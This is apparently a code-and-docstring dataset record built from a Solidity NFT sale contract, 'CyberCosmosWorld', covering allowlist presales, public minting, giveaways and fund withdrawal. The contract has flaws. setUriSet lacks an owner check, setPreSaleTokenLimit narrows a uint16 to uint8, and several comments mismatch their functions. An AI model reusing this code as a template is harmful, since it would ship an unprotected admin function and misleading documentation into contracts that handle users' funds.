communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
_leaf
function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); }
/* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 16027, 16165 ] }
14,191
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
_verifyVipPL
function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); }
/* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 16321, 16496 ] }
14,192
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { 